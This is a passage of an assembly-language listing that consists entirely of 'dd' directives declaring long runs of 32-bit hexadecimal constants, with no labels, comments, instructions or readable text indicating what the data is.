		dd 0B116FD07h, 309E8AE9h, 36C30400h, 0C3D297B6h, 0ADBA6D58h
		dd 1614E100h, 653AAFF2h, 953D00F8h, 31B7E923h, 0AD003239h
		dd 50332F99h, 0E262ECh,	6ED8B454h, 0C0145EEEh, 0EF288C00h
		dd 26B0467Bh, 0D71F05F6h, 40D6F3BFh, 0E9196E88h, 7800C4F2h
		dd 0D2346490h, 4059487h, 31377E2Ah, 953482B4h, 11781830h
		dd 8862C272h, 849C4Fh, 29820F78h, 5F01D2BBh, 3D1858EBh
		dd 1C2016F8h, 92048C7Eh, 89368E91h, 75209B62h, 0FCCC91BDh
		dd 507007D1h, 0F04FC243h, 9FD5EF3Bh, 286D4731h,	67F504FEh
		dd 0F986E8h, 16122BBh, 844FC5F5h, 521DBF09h, 939C003Fh
		dd 20ADAEE9h, 0C318CF3Eh, 0B851B74Fh, 535203F4h, 0F8704042h
		dd 0B62D00F7h, 90C6BE94h, 248016A8h, 1358ACD6h,	5C6E31h
		dd 0C1A84C58h, 1D2B24F4h, 0E4419338h, 0E2708624h, 5B0351D2h
		dd 2A572FD3h, 3190C740h, 0DE74C2Eh, 6734FBBCh, 0EF0453C8h
		dd 834020D2h, 4F013B4Eh, 9FEC011Eh, 0A88AB2BBh,	80A8A39Eh
		dd 604254D7h, 0DB00165Eh, 7A43E999h, 3D8329DAh,	27D5D0Fh
		dd 952DBAD0h, 3469AD34h, 81D1894h, 7AC27778h, 1C058570h
		dd 80997C78h, 9F182FFCh, 3A03D76Eh, 0E55CC707h,	2EE100CCh
		dd 538DF08Ch, 461D902Bh, 30FA835Bh, 941521DAh, 0F30600F0h
		dd 89ED7FF9h, 850A8D05h, 98C9F253h, 57C26E83h, 0D5F38146h
		dd 4DC6B030h, 40ADC1Bh
		dd 40386FC7h, 5390F0E1h, 918D9321h, 890C00C2h, 41EA3CF0h
		dd 605F603Dh, 0BD28C04Bh, 0C5BE2D12h, 0E785201Eh, 0AC0FA009h
		dd 209A8905h, 1EFAB92Ch, 144B712Eh, 3CFF477Fh, 0D4A8E915h
		dd 4D81913Fh, 2FFD3E22h, 0C13884D2h, 28978B9Fh,	0D8FF843Fh
		dd 8C97F0C8h, 5C781604h, 546212C2h, 787EAA20h, 179F0093h
		dd 35E33125h, 4C99C527h, 6E4688A0h, 93F08E02h, 1C1CFB53h
		dd 44F0961Bh, 91429E6Eh, 0F8322EB4h, 8F777113h,	37E21600h
		dd 0FE685CA2h, 74D249F3h, 3D345200h, 0DF4125FFh, 0F46CF807h
		dd 2F30F7C0h, 264BD39h,	26776114h, 8464D62Bh, 4A048C90h
		dd 18A284EAh, 0B15AB481h, 72155E00h, 368C3B51h,	46882018h
		dd 918F027Fh, 31613689h, 963117A1h, 0D7CC8891h,	11492FFh
		dd 6F19EE06h, 80A99D27h, 32A5AF29h, 1E25256h, 0EA70E48Fh
		dd 0DFB66322h, 63D4D2B1h, 0ED6E0004h, 0C539CDB0h, 64C7F8B6h
		dd 8A7B18CFh, 0B8A448A4h, 44008C51h, 21A879F7h,	919F5738h
		dd 805B11A4h, 538CF08Dh, 0C5448C33h, 0F0950010h, 1A85AA74h
		dd 19C368E2h, 0A84FEEA8h, 166CE6h, 0D1CBBBCCh, 0BEE2CE93h
		dd 385B7D12h, 0F2470C80h, 788C98B1h, 2E8C9005h,	4B1123Eh
		dd 0CC908E17h, 0B2016C60h, 322198F7h, 824C286h,	0CF501DEh
		dd 0E25190A0h, 0E81803Ch, 872A5ABFh, 42BA3A3Bh,	11DA007Fh
		dd 46C66165h, 0F51E4DA0h, 0AEF0B3h, 0A0507B09h,	0F31225A8h
		dd 18B4F003h, 19BDDCC1h, 7F54333Ch, 6D378AA0h, 6583C143h
		dd 6676C0BBh, 8F7B2E95h, 99467434h, 0D568E500h,	5F2D749h
		dd 4C06724h, 5A11B0CAh,	8FF08A80h, 0CCAC1B53h, 10F3F44h
		dd 88B6F092h, 24361D5Dh, 4F0BFFFCh, 24EF7B8Fh, 5960BB30h
		dd 0BE211628h, 6E86C068h, 0E7FEF128h, 0AA57D12h, 842F1852h
		dd 0D400C023h, 0C6291EFEh, 9466482Bh, 0A8398615h, 773C5500h
		dd 4DF8B047h, 0D8705C1Dh, 28F9E840h, 0C23EFBFEh, 0EAB21830h
		dd 6C269E8Bh, 0B946D015h, 14285B02h, 203158BEh,	60F86980h
		dd 0B9CF5628h, 0FB0B4F01h, 44680D89h, 0C40E9073h, 0E5C6D38Fh
		dd 740059D5h, 0B4EBD9D7h, 9F1123Ch, 41D69776h, 0DCA7AC11h
		dd 6A0160DAh, 737BCB37h, 0F8512BB6h, 298140CDh,	54A85A59h
		dd 9CE0D67Bh, 0A8B829F2h, 0A0866D2Eh, 32660940h, 46B90294h
		dd 4D129C3Eh, 0DC0010D4h, 6397CF18h, 99D36EE5h,	0D0E7479Dh
		dd 7C738213h, 3A9E007Dh, 99668F17h, 0F38A05ECh,	5880403Ch
		dd 87B8CAB2h, 1CFF4E00h, 0FDC6EC4Ah, 92035CA2h,	635C2502h
		dd 2C6C89CEh, 50781432h, 442C6C02h, 7C5CA84Eh, 5EF700D0h
		dd 72253B52h, 0C06D0B7Fh, 4039AB24h, 4031896h, 0AAC25978h
		dd 2050325Ch, 95780BABh, 0D1D2DD00h, 0BE58EA67h, 665F24FDh
		dd 3576506Ch, 18303231h, 0B4D4FEEDh, 10C93B8h, 0BE172866h
		dd 0F9000E60h, 0E1E22863h, 1800D60Dh, 70EB8B8Eh, 5F8FE46h
		dd 0A62DBFA4h, 0B7D890D1h, 16859A6Bh, 23883A85h, 475F00DAh
		dd 9FE884D7h, 6623BA06h, 1E993E86h, 403FE98Bh, 0D50F8C8Fh
		dd 0AF24B68Eh, 88A488F7h, 3F958A60h, 4C9F5847h,	0FA60A38Fh
		dd 637758E5h, 2206A400h, 496C93BAh, 0F5FEECh, 252366ADh
		dd 0FA970387h, 82E9EF18h, 5070A0h, 0EECEC1D2h, 6EE73854h
		dd 53682949h, 0F2CF0E7Ch, 2256C70Dh, 0A992B053h, 14285CE4h
		dd 0D5E9D0D4h, 584A0CB5h, 9426DCB9h, 2CF423C5h,	240A0E44h
		dd 235C3E36h, 6DFF00C2h, 3CE241ECh, 39729088h, 8287E9C8h
		dd 7B3748D9h, 24CD180h,	0AA17929Ch, 201C7DA7h, 0E86CA494h
		dd 10008CCBh, 1D6E2FA2h, 1268EFE2h, 8E4ACCDh, 19C0888Ch
		dd 21C25B78h, 5291631Ah, 7801A903h, 0B8880A20h,	4F14C3BFh
		dd 234CAAA6h, 28720194h, 23C0BE1Bh, 5F85807Ch, 0AE7C28h
		dd 9F0BCBABh, 523321A0h, 37BBD25h, 0B896C158h, 81CAE61Dh
		dd 0F5C82026h, 0B0927D66h, 0C55E0B48h, 0A894C6BAh, 0FE3FFC75h
		dd 0D8CC1Fh, 4895E406h,	2786254Ah, 24003F45h, 78725CD7h
		dd 0A0B86D2Ch, 0DEAC4441h, 94902032h, 8C53B8h, 0EAF5D077h
		dd 507305BBh, 8128BC49h, 2F6215BEh, 93089C29h, 0E40AF37Ah
		dd 0B610AC6Bh, 26F4B800h, 5429BA33h, 0C6368CA0h, 0D4D44F2Ch
		dd 8F606544h, 534892F0h, 0B0A05840h, 5F0970Eh, 367AB22Ah
		dd 0CBE074C0h, 0B42084D0h, 0E20E9F30h, 1CC3A600h, 0A94EE4ECh
		dd 0F3E10127h, 0CFCE2B64h, 23602D5Ch, 0F0E00160h, 188B5391h
		dd 881188D7h, 0C1EDF009h, 0F8700D9h, 1513B966h,	0D4AC9FBAh
		dd 8C16A200h, 0DB8853E1h, 8D734001h, 279941E9h,	0B0DEC74h
		dd 9D378122h, 609BB882h, 2FC730CDh, 8829D0E0h, 520B013Dh
		dd 8BB7C1E9h, 0C69C40A3h, 2254FBFAh, 8B0D9E4h, 0B4801A7Ch
		dd 9BBF258Bh, 4AB8C84h,	88B2DC68h, 18304FF2h, 4C850054h
		dd 0D993DF3Eh, 53168E80h, 10C79DBAh, 211BCE31h,	3F88B84Fh
		dd 47628EC0h, 0B4A40B85h, 74893C1Eh, 0CB93496h,	0C18C559h
		dd 42BC1402h, 48C6ED7Ch, 6851F30h, 0C9E93E3Ah, 3725E956h
		dd 0B6DE19h, 0E1654746h, 3E38BA87h, 0D7220089h,	0D691520Dh
		dd 163EEEBh, 0C12D7E50h, 28016D57h, 2791CE80h, 654B368Fh
		dd 0B8708F50h, 14D8AA0h, 24004858h, 6429E69h, 4EFDE7C2h
		dd 4B602DAEh, 0C052881Ch, 2DCF9B49h, 0E47DBD0Ch, 175EF9C4h
		dd 28C79635h, 0C521BE24h, 1303A6F2h, 0AA14825Ah, 0D9790079h
		dd 56077318h, 0DEA2CD3Dh, 4E7DEDF0h, 89D2C3h, 3E339784h
		dd 0F0AA8A2Dh, 443BC62h, 287560E4h, 48BE211Ah, 285A82C0h
		dd 0F69E07ADh, 1EFCFFB8h, 0B0488909h, 0D00068D3h, 0E69DD891h
		dd 1C203FEh, 290901A5h,	6CBFB6h, 28FD5014h, 9844C7ABh
		dd 69E41CB8h, 0BE3A4B34h, 35468483h, 3D29211Dh,	0FC447693h
		dd 2C9055E3h, 482DEA53h, 440C885Bh, 0E9C9D0EBh,	4529B916h
		dd 2B3C70D0h, 0A033F1D2h, 130D9A2h, 18AE07Ah, 0D896866Fh
		dd 0C03485EBh, 0BE0C1D80h, 98DAB3FDh, 7268BABAh, 566309C3h
		dd 54307C6Dh, 0E0169190h, 18CB9936h, 91BB7F00h,	6D868805h
		dd 19AA4230h, 4F57B636h, 51340365h, 0D87A5009h,	465C209Eh
		dd 0D10D009Ch, 12C65972h, 4CCF4906h, 39A0573Ah,	0BB64481Eh
		dd 7C6397C0h, 59E12Bh, 5A766D93h, 0A71DB467h, 8F0014F0h
		dd 0DDD5AF61h, 0B641947Eh, 0CA465E28h, 97DBFB00h, 31EB4219h
		dd 59BF6503h, 19D6C947h, 31D7F349h, 9A51F0B7h, 9FF5900h
		dd 0A339E084h, 0B9E0053h, 74BDE198h, 894ABE8Eh,	5C881C20h
		dd 42610037h, 7E043B82h, 773AF9A5h, 7C28E4BDh, 26E5B740h
		dd 0CB07AE7Ah, 1E994F90h, 35394730h, 0B3013F3Ch, 858D9A8Ch
		dd 0BA0721F8h, 0B447AB6Eh, 0EC5925C0h, 0BEA72EBFh, 0D3217C8Ch
		dd 27D780B5h, 0AF9DEA4Ah, 0BD7CC500h, 4FC251B7h, 3A0BE42h
		dd 0D1C04496h, 9D4E5900h, 0EE708DEFh, 30394F2Bh, 0B7426064h
		dd 0F40B4F5Ah, 0C79CA09Fh, 7455C954h, 4C7C24F1h, 86F540D8h
		dd 1709E994h, 0E87E8A66h, 7CFD2754h, 51B507F9h,	0B53CCEC0h
		dd 0C398496Dh, 7CBA80A0h, 0D1388E27h, 185124E4h, 70909F13h
		dd 3AD4F8E5h, 6DA23219h, 1AD5FD00h, 0E846AB0Bh,	53D600EBh
		dd 8E183ADDh, 1650955Bh, 0A08CBAA0h, 53BE1914h,	8781A070h
		dd 76FC2861h, 0B86430E0h, 1F81A31h, 0E7BF1184h,	0E2335C41h
		dd 0C7AE9CC0h, 0DC4B395Ah, 91281756h, 428E80A6h, 1359563Ch
		dd 4A57C40h, 0F1E3C670h, 8B2C3DA8h, 1400B763h, 0A800D388h
		dd 0A19F6E1h, 604CDA4h
		dd 4A3A6A2Dh, 0E425D088h, 8F170314h, 9D32393Eh,	606AC8E1h
		dd 3F45E630h, 0F6829428h, 0D47BFE4Bh, 4A58DC2Bh, 0DF95003Bh
		dd 0A838F5AEh, 3107F7DAh, 0AA6E103Ch, 1F1E921h,	3AD48050h
		dd 0EA460973h, 0EC839FB6h, 0B3FDC04Eh, 3352A22Ch, 0B2A88C98h
		dd 33BA4A1Ch, 6855E9CCh, 75075B66h, 0B2D8E2B0h,	0D5C2309Ch
		dd 450F94FAh, 69D122F2h, 0D0E45Ch, 0D2068DBEh, 0B1C94170h
		dd 2A3C7E08h, 6D958545h, 66DCA4BAh, 64C1C060h, 0F1505FA3h
		dd 0C0AF9EF0h, 0FE9AA821h, 0EF24BB98h, 27407077h, 44537C5Ah
		dd 81078CC7h, 448F7B21h, 6E8068ABh, 0C0C90546h,	82B29848h
		dd 40699606h, 0F4342A26h, 9CFE40B0h, 790BC16Ch,	1C720951h
		dd 6130D9B2h, 1D4300AEh, 36CF7AAFh, 58A0EA7Ch, 1A05173Ch
		dd 545541E6h, 8C055488h, 8B918D04h, 9D627136h, 91946C20h
		dd 26167CF1h, 58C4BB8h,	627BCF98h, 84D994F0h, 85189A79h
		dd 94EBAD09h, 0F09F7CFh, 0B8AB9018h, 1257D200h,	6CA7F49h
		dd 0D08630BDh, 89AE0FD9h, 196B701Eh, 6864CB05h,	900048E2h
		dd 7279650Eh, 1F1C6023h, 241D7CFh, 932D2FD4h, 6D0C783Dh
		dd 5571B645h, 0D896C338h, 0E98AC0B4h, 27B34BC6h, 84A236CDh
		dd 0FC64C144h, 0EC2430B0h, 0B908B092h, 0E432AD7Eh, 0D4641CE5h
		dd 5FA66B60h, 0E906CE00h, 97FE29E1h, 6550D2D7h,	0C8BCCB9Ch
		dd 78D6C09Ch, 5E0937EEh, 4ADD9E1Dh, 0B4686078h,	1388B8F4h
		dd 8EC5E7C6h, 0C0D6C870h, 43DBA8A1h, 7EE9680Eh,	0C840B2C9h
		dd 860D30B0h, 9780992h,	0CCB058A7h, 525A7C70h, 8C6C54h
		dd 4CB3113Bh, 2A9BCBh, 3D62ADDFh, 735B23FEh, 0ABC09012h
		dd 0E5633C09h, 6751C410h, 0C80BB370h, 3DBA01C9h, 0A7AE2931h
		dd 1446160h, 0A4B91E8h,	0CA165B01h, 2A77C8A8h, 46708830h
		dd 6F9009CFh, 7459E4ACh, 5D185279h, 0D2738E00h,	0DE4FC3A6h
		dd 0C1D97ABh, 6316C6BAh, 0BB8006ADh, 1CA0D05Bh,	36806EACh
		dd 208B30B6h, 0EDF2D118h, 251FD89Ch, 17962880h,	24100791h
		dd 7460FD38h, 0C743F46h, 68C53C2Fh, 871DEAE1h, 0EBD229F6h
		dd 0B6F3D0A0h, 655C8174h, 0F49B43DAh, 0AC096282h, 5D9A21Dh
		dd 0AC008A4Ch, 888CF6D4h, 517A6ED6h, 0EAFEE780h, 6800D754h
		dd 8FFA0A70h, 1C0E4Dh, 7B933C43h, 0C1E3DC50h, 0C8099DDh
		dd 0FD7F7E22h, 1BEE007Ch, 134B0875h, 0DA50032Fh, 7140B890h
		dd 286A785Ch, 4C094F1h,	0ED7C61E1h, 26EC41C1h, 1820B1BFh
		dd 0D0325349h, 9B30D4A2h, 68CC0A6Bh, 80843BF3h,	49ECCD7Bh
		dd 187E22FDh, 0E5A1B17h, 8C4BBD00h, 52B8941h, 0D69716E3h
		dd 845647h, 61B65428h, 0BF25F241h, 0C07C12EDh, 80337E38h
		dd 3A6086B9h, 5CC0DD69h, 0C9360072h, 0FDBEC849h, 9F26B285h
		dd 0DC8014A4h, 0DE1EE908h, 846D58C9h, 93F2140Ch, 603BC372h
		dd 42530B72h, 0ECF42791h, 8B3FA3D2h, 1D2CA9ECh,	823F111Ch
		dd 61AF52BAh, 0B0683BD5h, 23AC2F5Bh, 13003FD9h,	0E8D5FA3Ah
		dd 0C21344AEh, 2CC1BE4Fh, 30DDFD50h, 86E2C103h,	0BA07FCD0h
		dd 0ACEDC035h, 0C611C3C0h, 5FAE12C2h, 0F1A0425Dh, 8602FC4Dh
		dd 19C0A759h, 0AE03B123h, 696A0311h, 8C68C007h,	82C1E4CFh
		dd 0C089A8F4h, 3EE0BCC8h, 9094284Ah, 0A07AECD2h, 0EF19568Ch
		dd 2297023Ch, 0E40AD4C9h, 0A6FD54C8h, 78022F3h,	9064237Bh
		dd 0FA18AA40h, 0E6B40086h, 52102F28h, 409963C1h, 46184E79h
		dd 40835100h, 5F4F3799h, 0E7C01372h, 504441C1h,	41329A1Dh
		dd 78048B9Ch, 8CD4B8C0h, 0DF477700h, 0FA16EDACh, 41E84F44h
		dd 0E142DB10h, 7C5B0041h, 182B9755h, 14F76000h,	0F10015BAh
		dd 0FFAFAD79h, 0B82477E7h, 77DE4A0h, 34F30A0h, 1C2029C6h
		dd 0E3F17CC9h, 0AF76CF07h, 0EFB0293Ah, 6321346h, 639FFFBAh
		dd 0C5EE4038h, 30FBD48h, 472D21AFh, 0E2E190C9h,	7112002Bh
		dd 29BD4346h, 22F5633Fh, 0AFC0358h, 0F04FA02Bh,	0F65A8552h
		dd 0C130007h, 0F9B61DD9h, 0E235516Ch, 643A3178h, 8E07D623h
		dd 804487EBh, 0FA2298CCh, 2A8501C7h, 265A2553h,	102E3F56h
		dd 0F009D23h, 1AE5E6DEh, 72929BCh, 18C55950h, 0A10600FAh
		dd 0B45B8AD7h, 3913D12Eh, 58A344E0h, 0C0510D02h, 0FC5E9D8Eh
		dd 0DF6B5489h, 0C20D60Eh, 1DC3ECBFh, 44B79602h,	50E1EA51h
		dd 77B50154h, 3615B8D3h, 6A3C201Fh, 65CE621Eh, 0FC06E981h
		dd 423BD2B3h, 0F0A15ABCh, 0EAAE448h, 816C70E5h,	0E8598F02h
		dd 407D73B7h, 0AC1C7F4h, 0F9887E54h, 3D0B7020h,	0CB634A8Ch
		dd 0C0518860h, 2AC217D3h, 8F6F5D00h, 0FBAF543Ah, 293D05D0h
		dd 40A09E6Eh, 7FC30DC8h, 0B7012362h, 0AA33F327h, 0EBFCE27Ah
		dd 21560190h, 4742F2DBh, 9E61BEC2h, 0FE13267Bh,	316D0CF4h
		dd 5551BEBFh, 0D06E3A8Ah, 31ACC528h, 0D46944C9h, 0F4752015h
		dd 333BFE1Bh, 0EF3E061h, 2FF15E50h, 15523A4h, 0F09A89A4h
		dd 801A6ACBh, 44284780h, 0FC2260D7h, 139D03DDh,	0AAE355AEh
		dd 0A15BFD8h, 0D65Bh, 0BCC5B55Bh, 778C04D9h, 0B03A4FFEh
		dd 2B742558h, 61897E0Ch, 104408BBh, 58F145Ah, 9566266Eh
		dd 0B5B0E483h, 0C58884CEh, 6ED3DEC0h, 9FC00C67h, 31799A7Bh
		dd 0C8BBF738h, 0E86E5BDCh, 6FFDCB00h, 0AEE964DEh, 800CCC58h
		dd 7D33956Ah, 299E0078h, 306E014Ah, 0DC13323Eh,	8898B622h
		dd 808F6173h, 11D0C344h, 1040BC6Dh, 4BE7D636h, 833C44C8h
		dd 20B624F9h, 7AB620A0h, 334CAC02h, 5C31D22Dh, 0CF215CD4h
		dd 54592B5h, 0C273C0B8h, 0A47C3F5Ch, 0ED70FA01h, 0A0DFE03Ah
		dd 2E206BF6h, 11DC2439h, 0B3062C4h, 95747AD6h, 8703E437h
		dd 98D839A0h, 8FB95Bh, 64B432AFh, 0EC4C0BB8h, 9CFBBF12h
		dd 401B4CA4h, 573CFFD4h, 938D860h, 78221550h, 1B309028h
		dd 0C9BA2D5Dh, 0F5624FC1h, 0D86F3AF3h, 445D9A1Eh, 0FCF3B7C1h
		dd 889E1304h, 44CD88C2h, 5B8F05E0h, 53F8159Ah, 88CC8BE8h
		dd 475EC1A1h, 1C43DE8h,	0ED51276Eh, 7CD0E5DFh, 964896E9h
		dd 82ACA49Eh, 720045F6h, 0A53D7103h, 0C6AEEAh, 7A24EC5Ch
		dd 0D3B21546h, 48243A81h, 7050107Dh, 0BCB45CB1h, 39738CCFh
		dd 0A80A8EE8h, 0B4E235BFh, 2E57C184h, 70A2F8D5h, 9130D4F2h
		dd 7F190277h, 78A5F253h, 0B7BE58C0h, 1C7CF27h, 6BB49814h
		dd 0E168402Eh, 69ECFF3Bh, 0C647601Ch, 78C171F4h, 2C6F8BEh
		dd 0B0F2527Dh, 0B635761Dh, 0BE3B031h, 46703180h, 42307EFh
		dd 0BC6B2D17h, 0B5695C18h, 1499E2h, 0DD775A9Ch,	0A700AE0Dh
		dd 2865D939h, 8FBFAFh, 9B8196BCh, 9C5B4063h, 90314403h
		dd 9DE27737h, 568158DFh, 0FD7D84BDh, 25EDC4E9h,	0AC248097h
		dd 0BEF6EB8h, 0D249CCC7h, 5B6AD048h, 69D91503h,	0D9C52C98h
		dd 0A050D663h, 2DECD758h, 10E5ABFDh, 0C660A7E4h, 0E5028025h
		dd 68018FE4h, 3FE0F9BDh, 16D4672Ah, 0CBDBBB70h,	0C456C87Ch
		dd 0AFC0C0CBh, 0EF01B62Bh, 0E0444661h, 0E442B007h, 475C4AE1h
		dd 67D44474h, 4AA3A270h, 0E0C001B8h, 2D5ED703h,	0ED6034A6h
		dd 8367BF2Fh, 0D030EC44h, 4A6197B3h, 0C8748EC2h, 7180CEA6h
		dd 0C426FB5Ah, 94BE225h, 11509DC0h, 8A4080D6h, 9D95D2ADh
		dd 0C1186890h, 3A3A5F7Bh, 8CD3824Fh, 2293B60Eh,	4467C09Eh
		dd 0EC60A644h, 0F8736B70h, 1466B44Ch, 168C900Ah, 0C8BC4A5h
		dd 34C056C8h, 0D203BFC2h, 90A017EAh, 4679A2A0h,	0E6F66D00h
		dd 9214955Eh, 0C1AA5E77h, 23DCF552h, 3057A224h,	0B74E3B81h
		dd 909E1049h, 3F5EA7B4h
		dd 5100A025h, 333F556Bh, 93002E83h, 0B05A6C1Dh,	993091C1h
		dd 18CB7960h, 951503C8h, 49D8EDADh, 4CC042CAh, 2B80CB62h
		dd 36C20B89h, 7C42DFB6h, 3827AF0Bh, 0FB89FFB3h,	0C912C4F8h
		dd 7CB2560Fh, 0E331B2E2h, 8081C8h, 93BB85C5h, 0F3F9D84Ch
		dd 69A9C860h, 9257016h,	1BDAA1E7h, 600DBA83h, 4F1970F7h
		dd 0BA54F736h, 4200EF18h, 3B0A5D06h, 11FAFDh, 0CA91AE6Ch
		dd 2740DD05h, 4F83713h,	0F7B21CE6h, 21916860h, 2BA708B6h
		dd 98247878h, 0B15B2EFCh, 9F440F0h, 6A0E81FEh, 9845F233h
		dd 2E9ACB38h, 43B0B86Dh, 40019BD1h, 3C7B3141h, 0C251833h
		dd 50F2AC72h, 0E0B1430h, 4052CF84h, 0F1FF3C62h,	72E24C49h
		dd 472603F0h, 0F2EFDE14h, 0ACC54EBh, 2C10B377h,	181C00A4h
		dd 0CF8907E4h, 0E83B3730h, 91B09E9Bh, 184ED170h, 230B0065h
		dd 43763E3Ch, 6413F51Fh, 5C9B98E5h, 0DB4F9E80h,	8B02B804h
		dd 81B9E612h, 4C0747Ah,	661BB6h, 0B4472716h, 15BD0924h
		dd 5CE2C90Eh, 0C584588Fh, 8458BC38h, 8606394Dh,	0C113B945h
		dd 443F9Fh, 84CEF1B8h, 52C0C3C8h, 5253A60h, 0FD50C51Dh
		dd 1D60A8DBh, 7B01A57Dh, 0BC456812h, 0E657E196h, 74A6B024h
		dd 0F4C87E43h, 0C045787Ch, 2824E5F8h, 10948612h, 5420B980h
		dd 3939F03Dh, 43BC32Bh,	23C22F80h, 0BFFA3F03h, 3C12D5F8h
		dd 0F4D0D130h, 4A9151FDh, 0C81C8E55h, 8208C0A6h, 3702B567h
		dd 51E98D76h, 88F4E5h, 0ADF7B055h, 0B8008EC9h, 0D5A1CAE3h
		dd 0B0905126h, 298B25ACh, 0C5E48845h, 9C388560h, 9F49E009h
		dd 0D5F10733h, 39F015EEh, 78C92444h, 0F3A9D660h, 97CC9271h
		dd 21881817h, 6C67C0B4h, 4C27FD4Fh, 0A8788506h,	83788440h
		dd 0EB9EADh, 0D88A7D80h, 28E093F7h, 0E0BE4E2h, 78DFAFB3h
		dd 419528F4h, 0C09080D5h, 6AD80EA4h, 74008C12h,	0BF8EC193h
		dd 0BD64B900h, 0B7EA3A22h, 0E0A964EFh, 964AC17h, 9F612D3Ch
		dd 80519124h, 4C474B0Ch, 6D0902B6h, 0E3AE2BA0h,	0FD0270F4h
		dd 4A43F941h, 0D64CFE08h, 9A151401h, 0F72CA76Eh, 0B5093BE0h
		dd 7288C810h, 569EC000h, 8BA2A8D9h, 61640107h, 5CA94067h
		dd 0EC74E485h, 47EF9F3Ch, 0CC9533B0h, 0FBC1DB00h, 26A167E3h
		dd 2E040731h, 9CE25AE7h, 0A300B051h, 45E59144h,	2677A5A1h
		dd 0CBF8726Ch, 1FC000CDh, 2D82EBF3h, 0F8A8E8BEh, 9C4674A8h
		dd 0DD49AC01h, 7D2C3C53h, 0B7C1090Ch, 90F8CFh, 0B864BF50h
		dd 57FE6859h, 0EF5C26EAh, 0F540056Ch, 0E08EABFDh, 1BC09A88h
		dd 0B8BD7C24h, 72A2717h, 0CF6090CDh, 1C795FABh,	84A875BCh
		dd 9395E7C2h, 718EB0D8h, 9FC3B51Ch, 0EC1863BAh,	0C261F9EDh
		dd 4A67C6C4h, 0C854CED2h, 0FB06C1C0h, 0D2086032h, 84800899h
		dd 66EC7E63h, 882607DBh, 81324936h, 356FB2AAh, 88380BD4h
		dd 4D9AC0DAh, 0A206DF56h, 0AED829DCh, 0DCA89C48h, 0EAAA1E01h
		dd 79C9F7D9h, 5AC49450h, 0BBB013h, 0A9088AF5h, 69421ED2h
		dd 9C173005h, 4680746Fh, 0FC4B5BC6h, 4A531345h,	306081E9h
		dd 407EEA2Dh, 21465Eh, 0A3A8AE77h, 1B6761Dh, 36A55B95h
		dd 0F8FE62DFh, 83549FC2h, 0A8AB97E0h, 6B546850h, 82A49148h
		dd 2BC5527Dh, 98A44889h, 4FACF1EDh, 639FF8h, 0A671E84h
		dd 0C57EBB23h, 0D7809903h, 92ABE345h, 5898FB60h, 709C6EAh
		dd 3A611Fh, 708AF1C7h, 582E0EFh, 262DAC7Bh, 0E8F8922Bh
		dd 150444D1h, 0E305331Ah, 5FD0E8C9h, 3E8A1020h,	4AE4281Eh
		dd 7958B9D0h, 6F18D9h, 643BC897h, 0C3DC856Eh, 0ACBFB724h
		dd 0A235BE85h, 5B067CB8h, 18B4039Fh, 1D79C09Ch,	9F005917h
		dd 91E83957h, 80F29438h, 0F304C7F6h, 0A48F0Bh, 7D5B4933h
		dd 8593480Eh, 8083666h,	1C410021h, 3498AA49h, 0A3795C39h
		dd 86AF8303h, 0E9A0B95h, 558F0148h, 1098084Eh, 0BB00422Bh
		dd 9FEBA31Fh, 74538AF6h, 213060A0h, 0C3BB4ACAh,	7F6E4903h
		dd 0C034ECA1h, 16C8B0Ch, 0D820EBAEh, 8CC06BF8h,	0B12B8331h
		dd 58AE01BDh, 1688E1E9h, 4E38C87Dh, 0E700A0F2h,	3CD97577h
		dd 1F68932h, 948E5E14h,	0FDA80204h, 0CD40A003h,	808D2BA1h
		dd 0B64D6F51h, 0C3812F2h, 401A27CBh, 21C08208h,	8AB6555Ah
		dd 1709017Ah, 6D5D06FDh, 11989D0Ch, 0F55C4A05h,	0D300941Eh
		dd 704ED0F2h, 337370E0h, 0E108E878h, 0DB38210Eh, 0BEA8E1D0h
		dd 0A2EC6B2Ch, 0E7820ED4h, 0F80FB9B0h, 0DFE82C34h, 7D3D008Ch
		dd 714A2A1h, 0C9073B5Fh, 0FB96AF6Fh, 0B5B22500h, 9330C0F2h
		dd 0C29B9EBBh, 1364E90Ah, 0F8489415h, 0DA4610A8h, 57491F02h
		dd 11312E7Dh, 49284510h, 0C341600h, 737AB8A1h, 608A60DFh
		dd 0EC7CDE38h, 85073C90h, 68B98CD5h, 11181D79h,	462F8335h
		dd 2AC01030h, 0AB050172h, 440C10CCh, 1FEC9858h,	617048D0h
		dd 0D0F52AC0h, 6430004Bh, 138B8DE0h, 0FC03F65Ch, 76FF9448h
		dd 827915DFh, 0DC008428h, 0A3980EBEh, 0BCFC1F69h, 34D7920Eh
		dd 23D814B5h, 0D0F3013Fh, 23E8704Dh, 0DC338004h, 76AAE9D0h
		dd 0E2F0EFEh, 0D0D5B29Ah, 358EAD00h, 81C516A1h,	2203CCF8h
		dd 47A093A3h, 0A2FDC2B7h, 0F69CE8h, 0AD8DC82Fh,	70C74C24h
		dd 49801C91h, 0D812EEB6h, 8322D643h, 0B6514E05h, 6C3A573h
		dd 8DD01209h, 946FFBh, 0C5A53C4Dh, 0FF328Dh, 0F6B392B9h
		dd 0CBE11CFBh, 0F2941052h, 65A530DCh, 76E41D07h, 9FC925C0h
		dd 82321138h, 0C03C9B69h, 3831A46Dh, 0A800802Fh, 4ECF6DC4h
		dd 250C0115h, 60F65DDAh, 56028C51h, 4BA333BBh, 103119A0h
		dd 1BB3EE6h, 897D2EFh, 0E85A7C7Ah, 3101956Dh, 0DEA09877h
		dd 8420CAA8h, 3A9A06B3h, 10F526A6h, 506D8B3Eh, 3B88F08Ch
		dd 77A200D8h, 0FF98EB8h, 5928EFE8h, 4146A08Bh, 4FD0ED02h
		dd 0DB311870h, 0D0F62D10h, 2157150Fh, 8CFBE0EDh, 0C1EF2CDEh
		dd 0A3539378h, 0F0A4218Dh, 0F75898FEh, 8C0DF810h, 5EFB2D01h
		dd 0C2ACFAA9h, 97B24423h, 5F8030h, 1AD0316Eh, 0B9B5CBCFh
		dd 0FB8CF500h, 0CD02372Ch, 29D1123Ch, 0FC2C1445h, 8CDDE8h
		dd 7C858019h, 0A78901E5h, 0CF2FB2Ch, 67E4676h, 0E25EBE41h
		dd 0C9AB3E61h, 76D4F901h, 21B023CEh, 7759F0ECh,	198DA01h
		dd 0E75ED7D6h, 0F3823180h, 8A46D892h, 949D5B00h, 2F1ED924h
		dd 0FA990617h, 7191D212h, 0C029A0C8h, 12F1B622h, 95225046h
		dd 0B64A4D01h, 3E738643h, 534AAF8h, 446496Dh, 23242026h
		dd 1223F0B6h, 961148h, 0B5B64B50h, 164914ACh, 286645Ch
		dd 35EC9B6h, 0A1584C8h,	0BA0070E8h, 0D3820E9Ch,	9A08750h
